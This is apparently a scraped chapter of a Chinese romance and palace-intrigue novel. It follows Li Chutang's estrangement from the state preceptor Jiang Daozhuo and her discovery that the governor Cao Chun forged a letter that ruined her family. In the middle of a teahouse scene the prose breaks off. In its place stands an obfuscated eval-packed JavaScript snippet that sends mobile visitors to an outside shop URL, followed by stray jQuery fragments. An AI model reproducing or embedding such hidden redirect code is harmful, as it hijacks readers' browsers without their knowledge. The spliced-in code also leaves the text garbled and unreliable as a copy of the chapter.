密雨凄凄凉凉，下了一整夜。
冷潮之气顺着窗棂缝隙丝丝缕缕透进内室，吹得烛火飘摇，欲暗欲明。
李初棠埋在枕下，听着窗外雨打芭蕉，缩成一团崩溃的哭。
她曾天真的以为，他会主动告知身份，一切没有她想象的那么糟。
可上天故意耍她，她越不愿把他同那人联系，越要经受最惨烈的事实。
当他以国师的身份出现在大堂，撕裂她所有的侥幸，他说的每一句话，托得她像个自我洗脑的傻瓜。
被欺骗的愤怒萦绕于心，像烧的干锅，闷在心头，灼烫得冒烟。
李初棠委屈得哭了一夜，卯时起床，枕下泪痕尚未干。
梳妆时，铜镜里的双眼肿得像桃儿，蓉儿忙取来小瓷勺，浸过冰水后覆在她眼皮上。
“小姐别难过……”
蓉儿陪着她，但说什么都无济于事。
窗外雨还未停，整个白天，李初棠蜷在床上，期间付嬷嬷进来一回，说是太师那边不日要为小姐亲自择婿，这些天叫她莫出府，专心候嫁便是。
李初棠没有多大反应，她已经哭不出眼泪了，只睁着眼，盯着帐顶静静发呆。
脑中反复回闪着和他相处的日子，从相见两厌到患难与共，从山居生活到京中再会……
一切都是假的吗？
夜深了，雨还在下。
外面有窸窣声响。
一个熟悉的身影映在窗外。
“棠棠，你在么。”
江道灼立于廊下，黑衣箭袖，手里捧着一个礼盒。这是他在城西买的糕点，她在书斋经常吃的那家老字号。
“我是来赔礼道歉的。”
熟悉的声音传来，蓉儿一惊。
“小姐，要不要他进来？”
李初棠抱着双膝，垂眸间睫羽抖动。
要不要见他……
若见面，还能说什么？
会不会又牵扯出更多心酸和谎言……
繁杂的思绪好似剪不断理还乱的红线，绕于心尖，乱作一团，憋得人喘不过气。
良久，李初棠闭了闭眼，深呼一口气。
“外面冷，让他走吧。”
她需要时间，让自己平静下来。
被窝里，她攥紧被角，指甲嵌进掌心。
不是不想见他，是不知道怎么见他。她怕自己一开门，就会问他：“你到底是谁？山上那个小白，还是国师？”
她怕他的回答。
窗外风雨飘摇，江道灼等了好久。
直到斜风吹乱了雨线，湿润了墨发，里屋再无动静，心心念念的人儿已经入睡。
他颓然地坐在门槛上，抱紧怀中糕点盒子。
国师又怎样。在她面前，他什么都不是。
垂落的碎发掩住了眉眼，他自嘲地勾起唇，任由檐下雨柱溅湿衣摆，像一只讨好主人不成的落汤犬。
七月末的京城迎来了雨季。
之后的数日，每到亥时，总会响起敲门声。
李初棠知道是谁。
这些天，他总是这样雷打不动的登门求见。白天不敢来，怕给她添麻烦。夜里偷偷来，站在窗外，陪着她直到她入眠。
猜到她不愿见他，每每叩完门只唤她一回，不敢多言。
生怕惹她不快，连进院的资格都没了。
门外传来极轻的声音。
“棠棠。”
她没应。
“我带了叫花鸡。你爱吃的那个。”
一阵雨水浸湿的沉默。
“我放门口，你记得拿。”
闪电劈得苍穹发白，一声骤响淹没了他的声音。
江道灼等了半个时辰，身后的门奇迹般的开了一条缝。
蓉儿探出头，看到他，愣了一下，然后缩回去。
“小姐，他还在。”
李初棠拉开床帐，拢了拢衣领，蹙眉看向窗外。
今夜的雷雨不是一般的大。
室内都能感受到沁入的阴寒之气，何况外边。
江道灼大喇喇坐在门边一角，漆黑马尾垂在肩头，发尾自上而下流着水渍，他似冒雨而来，浑身透着湿意。
他蜷缩蹲下，抱紧怀里的油纸包，指尖已经被雨水泡得发白。叫花鸡还是温的，他一直用体温捂着。
之前在门外守着，蓉儿经常悄悄开门，给他递去巾帕和热水。
是以，身后再度传来吱呀的开门声，他没多想，以为是蓉儿。
“不渴。”
头也不抬的说完，回应他的是一道清冷的注视。
江道灼本能回头。
“棠棠！”
她只穿了件素纱襌衣，外罩了一件帔子，倚着半开的门扇，静静看他。
他兀自站起身，眼眸一亮，在她回视时，眸中欣喜转化成小心翼翼。
李初棠打量着他半湿的黑衣，垂眸问，“国师没带伞？”
许久不见佳人，兴奋自心头上涌，颅内嗡鸣不止。
“啊？”
灼热的视线只顾黏着她，一时没听清她的问话。
他傻愣在原处，李初棠迎着风雨又问了一遍。
江道灼敛去火热的注视，吞咽一口，狠狠压下喉结，“过来时不曾下雨，半路淋湿的。”
风雨顺着门扇而入，李初棠瑟缩了一下。
“快进去。”他伸手去扶，快碰到时，她身子本能躲闪。
江道灼的手僵在了半空。
李初棠紧了紧身上帔子，转身时没有关上门扇。
江道灼心念一动，见风使舵般挤进室内，啪得合上了门。
李初棠扭头看他。
他捧起怀中油纸包，欲盖弥彰的解释：“叫花鸡凉了不好吃。”
蓉儿会意，拿过他手中油纸包，去了里间。
李初棠站在原地，她不动，他不敢动。
过了一会儿，她没开口轰他，江道灼撞着胆子问，“你在择婿？”
糟心事被他提及，李初棠垂下眼睫，“父母之命媒妁之言，没什么好大惊小怪。”
“李谦逼你的，是不是？”他急道。
李初棠嘴唇微抿，什么话也没说。
这副模样在他看来，形同受辱。
江道灼眼底闪过疯戾，双手握住她的纤臂，“什么父母之命媒妁之言，谁教的鬼话，我灭了他。”
李初棠颤抖地眨了下眼，嘴角绷得极紧，像被这话刺激到了，眼底缓缓浮现泪雾。
江道灼眸光一凝，意识到失态。
他吓到她了。
若是以前，她不会这么脆弱，多数插科打诨和他拌嘴。现在不一样了，他身上披着国师这层恶皮，她会怕他、不愿亲近他。
“对不住、对不住……”
他松开她，笨拙地道歉。哄女孩方面，他既没有先天优势，又没有后天经验，简直笨的像只呆雁。
看着当朝国师低三下四的给自己道歉，李初棠一双杏眸染上水气。
她不知道怎么面对他。
不是恨不是怨，是失望，是委屈，是纠结。
她无法将患难与共的心悦之人同权倾朝野的妖道国师混为一谈。
每当两者形象融合交错，心脏开始割裂、发痛。
她需要时间消化，需要接受他的不同。
她闭眼，泪水滑下，“我想静静，好不好。”
离开云舒院时，江道灼觉得自己无能得像个废物，一边生自己的气，一边暗下决心。
他不能就此罢休。
与其处于被动，不如主动出手。
西苑深处，微雨蒙蒙，元景帝于伞下闭目垂钓。
身旁内侍躬身于侧，瞟了一眼圣上。
摘星阁二皇子纵火案并未影响到他，不然不会有闲心召国师入宫，只为问些闲言碎语。
“重华寿宴上的事，朕略有耳闻。”他瞥了眼身后盘膝打坐之人，“怎么，想成家了？”
“道君说笑，贫道遁入玄门，无心尘世。”
“哦？”元景帝笑了，“正一派道士，婚配有何不可。”
“鲜少见你出头，何况是维护一介女流，若是中意，朕为你们赐婚。”
身后久久无人回应。
换作以往，他会直截了当的拒绝。
元景帝眉心一凝，回头望去，只见国师脸色发白，凝着血丝的桃眸深处泛起了不正常的红。
“可是身体有恙？”常年累月相处，元景帝对儿子的状况甚是了解。
此番，怕是大动肝火，牵扯心肺。
“怕不是朕赐婚，为你冲冲喜，阴阳调和可治内虚。”
江道灼眸光闪烁。
她恐不愿。
“微臣不求赐婚，但请道君下一道口谕，莫让太师迁怒于她。”
元景帝看着他的反应，心里颇为诧异。
他竟有卑微求人之时。
“也好，”元景帝颔首，“作为交换，此次年中述职之事，由你负责，让底下的枭羽卫看紧了江南那群肥差。”
江道灼淡淡应下。
他离去后，内侍施施然上前，“陛下看出国师身体不适了？”
元景帝哼笑，“他是药人，总有这一日，谁想这么早。”
“那冲神道长留下的法子，陛下可要一试？”
“再等等，不急这一时半刻。”
他一挪手，钓杆递给内侍，自袖中取出惯用的锦帕。
帕子外端以锦绣织就，内侧夹心柔韧，放着江容芷的一层皮肉，经药水冲泡不腐。
元景帝闲来无事，总会摩挲这幅手帕，感受内里皮质，丝滑顺手。
江容芷，你就算死，也休想逃出我的掌心。
八月初，公主寿宴的一桩风月传闻于坊间不胫而走，为酷暑难耐的夏日平添一股沁凉的余韵。
雨水淅淅沥沥下到现在，仍打消不掉市井百姓八卦的热情。
知著书斋旁边的茶楼里围满了人，国师道长和落难闺秀的故事已经在说书人嘴里念叨了数日。
茶楼里聚集着无数顾客，多为女子，一个个露着姨母笑。
说书人一拍醒木，扯着嗓子高声：“话说本朝太师府嫡女，生得沉鱼落雁，美若天仙，名唤海棠！啊~海棠啊，她命苦啊……”
最后一排的桌椅上，坐着一个头戴帷帽的女子，静静看着说书人绘声绘色的表演。
“姐姐是来取笑我的？”李初棠淡笑。
身旁的林见微沏茶，“谁想一到百姓嘴里，就成了这么一出。”
“天下没有不透风的墙，国师大人威重，人家的风流韵事能传出来，必由本人授意。”
林见微小心翼翼看她一眼，听这口气，还憋着火呢。
“不聊这个，你赖书斋都快发霉了，来茶馆清静清静也好。”
“他不登门，我也不会出来躲清净。”
自那夜见过江道灼后，李太师收到了皇帝口谕，不敢再拿她的婚事做文章。李初棠得了自由，不愿在家里闷着，出来找姐妹散心，搬到书斋住下。
她摇着团扇，每次提到江道灼，心头似被烙铁烫过，万分灼人。
前面的说书人讲到了高潮：“正当公主发难之时，国师推门而入，逆光而立，那叫一个杀气腾腾！”一拍木板，大喝一声，“呔！谁敢动她？！”
“不对不对！”一个女子站起来，“我表哥的嫂子的妹妹的邻居当时在现！她说，国师当时一把横抱棠娘，款款说道——”
她清清嗓子，用一种极其夸张的深情口吻，“本座来晚了，让你受委屈了。”
众人齐刷刷看她，女子捂着大红脸坐下了。
茶馆安静一瞬，而后炸开锅。
“这也太宠了吧！”
“真的假的？”
“不是！当时国师不是这样的，我有个朋友在公主府当长工，他亲眼所见！”另一个姑娘反驳，“国师当时走过去，弯腰，伸手，平视棠娘……”
底下女子们倒吸一口凉气，有人捂住了心口，期待地看着她。
她深吸一口气，霸气又坚定，“手给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582323|202448||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我，本座带你回家！”
茶馆直接炸了。
“带回家！带回家！带回家！”
有人拍桌子，有人尖叫，有人捂着嘴笑。
“肃静肃静！”说书人狂敲醒木，“都是炎黄子孙，不许吵！能不能给我炎黄一个面子！”
李初棠帷帽下的脸红透了。
林见微擦掉笑出来的眼泪，小声问：“所以，国师到底说了什么？”
李初棠抿了抿唇，别过脸：“……忘了。”
她待不下去了，撑伞离开，林见微同她上了书斋二楼。
凭窗而望，紧致的呼吸渐渐舒畅。
自得到圣上口谕，可自由出入府门后，她干脆住进了知著书斋。也是在这里，弄清了造假信的人。
“我前几日罚跪祠堂，继母给我爹煽风点火，我当时感慨，若娘亲没死，她连当我继母的资格都没有。”
林见微消化着她的话，眼眸一亮：“你的意思是……江南节度使就是仿造假信之人？”
李初棠点头。
外祖父苏祁生前就任江南节度使，若不是他出事，曹淳哪有资格上位？
林见微翻找祖父的旧文件，“我记得他是江南本地人，去年回京述职来过我家拜访过祖父，留下过一封信……找到了！”
李初棠凑过去看。
林见微拿着两封信比对，“确实像，你看这里，撇捺和弯钩的走向，如出一辙！”
李初棠盯着两幅字迹，手都在发抖。
七月天气炎热，窗外热风吹来，吹得她浑身发冷，汗毛直立。
曹淳是何许人也，她再清楚不过。
林见微问：“这人和苏大人有仇？”
“没有……”李初棠喘息着，努力消化这个结果。
曹淳和苏家不但无冤无仇，而且他还是苏家门客，是苏祁的得意门生，仿照苏祁字迹写假信，说得通。
“难怪他节节高升，原来是卖了苏家挣前程……”
外祖父倒台后，全家抄斩，皇帝彰显隆恩，没牵连三族，只遣散了门客和一众弟子。
她在江南的三年，曹淳甚至对她颇为关照，偶尔还会请她来府上赴宴。她当时还以为这人多么忠义，如今看来，人心不古啊。
李初棠情绪难平，许久才缓过来。
林见微握住她冒着虚汗的手，握紧道，“他定是收了上面什么人的好处，不然仅凭一己之力，如何干得了这么大的事。”
“你说得对。短短几年从苏家门客变成江南大官，必有猫腻。若无贵人相助，以他那点小聪明，怎么可能平步青云？”
当务之急是挖出幕后指使。
“曹淳仿写假信容易，不可能烧得了粮仓。”她道。
外祖父当年出兵剿匪，粮草不足，邻州借来的粮草未及时送达，方延误了战机。按照卷宗所述只有这些。但李初棠走访江南，查出来的情报是，当时邻州调借的粮仓被人烧了。
烧粮需要人手、时间，需要避开苏家行事，当时的曹淳办不到，他背后，必有高人。
周身的寒意褪去，李初棠冷静下来，“运粮是头等事，必有具体的经办人，找到当年的人，问清楚。”
“棠棠，我的情报消息只能遍及京城。这事，怕是难办。”
“确实。在江南我调查过这条线，未寻到压粮官，没查出半点线索。”李初棠仰头，吐出一口浊气，“是曹淳干的好事，他一定抹了痕迹，滴水不漏。”
胸口涌起一团愤懑的火，她握紧双拳，感受到指甲嵌入皮肉的痛感。
记忆里，曹淳亲和的笑容映入眼帘。她初到江南，不幸被扒手偷了钱囊，走投无路之际，是曹淳接待了她。
“你是婉儿的女儿初棠？”
华盖马车里，探出一个锦衣玉带之人。
李初棠花了好久才认出曹淳。他和舅舅生前的好友，李初棠小时候就在苏府见过他，他待她一向亲切。
不同的是，风水轮流转，长大后她成了寄人篱下之人。
与曹淳在苏家的处境相同，那段时日她被他奉为座上宾。
知晓她要调查苏家案，曹淳二话不说，鼎力相助。
她不明案情，曹淳帮她理顺前因后果。
她缺银两，曹淳以报苏祁养育之恩回馈她细软。
她不好意思逗留曹府，他派人打扫干净城南的旧宅供她居住。
衣食住行，事无巨细。每回清明，他都陪她祭祖。
江南在他的治理下风调雨顺，曹淳这位节度使的名声甚有盖过外祖父的势头。
是以，当脑海里灵光乍现，猜测会不会是曹淳时，她内心有个声音在谴责自己。
你怎么能怀疑他呢。
他可是娘亲的故交，外公的得意弟子，舅舅最信任的兄弟。
现在想来，多么可笑。
在江南没查出多少水花，怕不是他在背地捣鬼，让她始终在真相外缘徘徊。
她想起曹淳在江南对她的照顾，想起他陪她祭祖时恭敬的神情，想起他说“苏公于我，恩重如山”时的诚恳。
她想吐。
林见微安慰道：“我听祖父说，江南富庶，皇帝最为看重，每年年中会遣人述职，不出意外是每年八月初，当时候曹淳来京，可以看看情况。”
李初棠闭了闭眼，无力道，“只好如此。”
离开知著书斋，外面黄昏。她让蓉儿先回马车，独自走到书斋后巷。
阴窄的小巷隔绝了喧嚣，李初棠拂去额头汗珠，借着穿堂风平复心绪。
平冤的事查到了曹淳，想要顺藤摸瓜，揪出幕后之人，难如登天。
“曹淳回京了，你可晓得？”
“自然。”
李初棠颔首，“阵仗那么大，不注意到都难。”
前几年他回京述职，回回都会登门拜访。这次他若光临太师府，李初棠定不会错过。
“我打听过了，前几年他过了中元节才返程，去年被人撞见在曲江边悼念故人。”
“故人……”李初棠静思。